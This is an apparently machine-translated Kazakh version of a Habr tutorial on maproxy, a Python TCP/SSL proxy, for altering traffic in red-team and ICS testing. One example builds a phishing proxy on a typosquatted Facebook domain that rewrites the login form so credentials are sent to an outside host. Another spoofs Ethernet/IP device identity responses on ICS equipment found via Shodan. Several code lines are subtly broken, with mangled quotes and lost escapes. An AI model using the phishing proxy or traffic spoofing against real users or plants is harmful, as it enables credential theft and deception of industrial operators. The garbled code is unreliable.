Мақаланың аудармасы курстың басталу қарсаңында дайындалды
Аннотация
Қауіпсіздікті бағалаудың алуан түрлері, тұрақты ену сынағы мен Red Team операцияларынан бастап IoT/ICS құрылғыларын және SCADA-ны бұзуға дейін, екілік желілік протоколдармен жұмыс істеуді, яғни клиент пен мақсат арасындағы желі деректерін ұстауды және өзгертуді қамтиды. Желілік трафикті иіскеу қиын міндет емес, өйткені бізде Wireshark, Tcpdump немесе Scapy сияқты құралдар бар, бірақ модификация көп еңбекті қажет ететін тапсырма болып көрінеді, өйткені бізге желі деректерін оқу, сүзу, өзгерту үшін интерфейстің қандай да бір түрі қажет болады. оны жылдам орындаңыз және оны нақты уақытта дерлік мақсатты хостқа жіберіңіз. Бұған қоса, мұндай құрал бірнеше параллель қосылымдармен автоматты түрде жұмыс істеп, сценарийлер арқылы теңшелетін болса, тамаша болар еді.
Бір күні мен атты құрал таптым
, құжаттама маған мұны тез түсіндірді maproxy
- маған керек нәрсе. Бұл өте қарапайым, әмбебап және оңай конфигурацияланатын TCP проксиі. Мен бұл құралды бірнеше күрделі қолданбаларда, соның ішінде ICS құрылғыларында (көп пакеттерді генерациялайтын) оның көптеген параллель қосылымдарды өңдей алатынын және құрал жақсы жұмыс істейтінін білу үшін сынап көрдім.
Бұл мақала сізді желілік деректерді жылдам өңдеуді қолдана отырып таныстырады maproxy
.
қайта қарау
Құрал maproxy
Python тіліндегі танымал және жетілген асинхронды желілік құрылым Tornado негізінде жасалған.
Жалпы, ол бірнеше режимде жұмыс істей алады:
TCP:TCP
– шифрланбаған TCP қосылымдары;TCP:SSL
иSSL:TCP
– бір жақты шифрлаумен;SSL:SSL
– екі жақты шифрлау.
Ол кітапхана ретінде келеді. Жылдам бастау үшін негізгіні көрсететін мысал файлдарын пайдалануға болады
all.py
certificate.pem
logging_proxy.py
privatekey.pem
ssl2ssl.py
ssl2tcp.py
tcp2ssl.py
tcp2tcp.py
1-жағдай – қарапайым екі бағытты прокси
Негізінде tcp2tcp.py
:
#!/usr/bin/env python
import tornado.ioloop
import maproxy.proxyserver
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()
Әдепкі бойынша ProxyServer()
екі аргумент қабылдайды – қосылым орны және мақсатты порт. server.listen()
бір аргумент қабылдайды – кіріс қосылымды тыңдауға арналған порт.
Сценарийді орындау:
# python tcp2tcp.py
Сынақты орындау үшін біз тыңдайтын прокси сценарий арқылы жергілікті SSH серверіне қосыламыз. 2222/tcp
порты және стандартты портқа қосылады 22/tcp
SSH серверлері:
Сәлемдесу баннері біздің мысал сценарийіміз желілік трафикті сәтті проксиденгенін хабарлайды.
2-жағдай – деректерді өзгерту
Тағы бір демо сценарий logging_proxy.py
желі деректерімен әрекеттесу үшін өте қолайлы. Файлдағы түсініктемелер мақсатыңызға жету үшін өзгертуге болатын сынып әдістерін сипаттайды:
Ең қызығы осында:
on_c2p_done_read
– клиенттен серверге дейінгі жолда деректерді ұстап алу;on_p2s_done_read
- кері.
Сервер клиентке қайтаратын SSH баннерін өзгертіп көрейік:
[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]
Сценарийді орындаңыз:
Көріп отырғаныңыздай, клиент адастырылды, себебі оған арналған SSH сервер атауы өзгертілді «DumnySSH»
.
3-жағдай – қарапайым фишингтік веб-бет
Бұл құралды пайдаланудың шексіз жолдары бар. Бұл жолы Red Team операциялық жағынан практикалық бір нәрсеге назар аударайық. Қону парағына еліктеп көрейік m.facebook.com
және әдейі қатесі бар пайдаланушы доменін пайдаланыңыз, мысалы, m.facebok.com
. Көрсету мақсатында домен бізбен тіркелген деп есептейік.
Біз құрбандар проксиімен және Facebook серверіне SSL ағынымен шифрланбаған желі қосылымын орнатамыз (31.13.81.36
). Бұл мысалдың жұмыс істеуі үшін HTTP хост тақырыбын ауыстырып, дұрыс хост атауын енгізу керек, сонымен қатар мазмұнға оңай қол жеткізу үшін жауапты қысуды өшіреміз. Сайып келгенде, біз HTML пішінін ауыстырамыз, осылайша кіру тіркелгі деректері Facebook серверлерінің орнына бізге жіберіледі:
[…]
def on_c2p_done_read(self,data):
# replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
data = data.replace("action="/kk/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]
Нәтижесінде:
Көріп отырғаныңыздай, біз бастапқы сайтты сәтті ауыстыра алдық.
4-жағдай – Ethernet/IP порты
Мен бағдарламаланатын контроллерлер (PLC), енгізу/шығару модульдері, дискілер, релелер, баспалдақ бағдарламалау орталары және т.б. сияқты өнеркәсіптік құрылғылармен және бағдарламалық қамтамасыз етумен (ICS/SCADA) біраз уақыт жұмыс істеп келемін. Бұл жағдай өнеркәсіптік заттарды ұнататындарға арналған. Мұндай шешімдерді бұзу желілік протоколдармен белсенді ойнауды қамтиды. Келесі мысалда ICS/SCADA желі трафигін қалай өзгертуге болатынын көрсеткім келеді.
Мұны істеу үшін сізге мыналар қажет:
- Желілік снайфер, мысалы, Wireshark;
- Ethernet/IP немесе жай ғана SIP құрылғысы, оны Shodan сервисінің көмегімен таба аласыз;
- Біздің сценарий негізінде жасалған
maproxy
.
Алдымен, CIP (Жалпы өнеркәсіптік хаттама) стандартты сәйкестендіру жауабының қандай болатынын қарастырайық:
Құрылғыны сәйкестендіру CIP сияқты басқару протоколдарын қамтитын өнеркәсіптік Ethernet протоколының жетілдірілген нұсқасы болып табылатын Ethernet/IP протоколы арқылы жүзеге асырылады. Біз скриншотта көрінетін бөлектелген ID атын өзгертеміз «Ethernet үшін NI-IndComm» прокси сценарийін пайдалану. Біз сценарийді қайта пайдалана аламыз logging_proxy.py
және сол сияқты класс әдісін өзгертіңіз on_p2s_done_read
, себебі біз клиентте басқа сәйкестік атауының көрінуін қалаймыз.
Код:
[…]
def on_p2s_done_read(self,data):
# partial replacement of response
# Checking if we got List Identity message response
if data[26:28] == b'x0cx00':
print('Got response, replacing')
data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]
Негізінде, біз құрылғының сәйкестендіруін екі рет сұрадық, екінші жауап бастапқы жауап болды, ал бірінші жауап жылдам өзгертілді.
Және соңғы
Меніңше maproxy
Ыңғайлы және қарапайым құрал, ол да Python тілінде жазылған, сондықтан оны пайдалану сізге де пайдалы болады деп ойлаймын. Әрине, желілік деректерді өңдеу және өзгерту үшін күрделірек құралдар бар, бірақ олар да көбірек назар аударуды қажет етеді және әдетте белгілі бір пайдалану жағдайы үшін жасалады, мысалы. maproxy
мысал сценарийлері өте анық болғандықтан, желі деректерін ұстап алу туралы идеяларыңызды жылдам жүзеге асыруға болады.
Ақпарат көзі: www.habr.com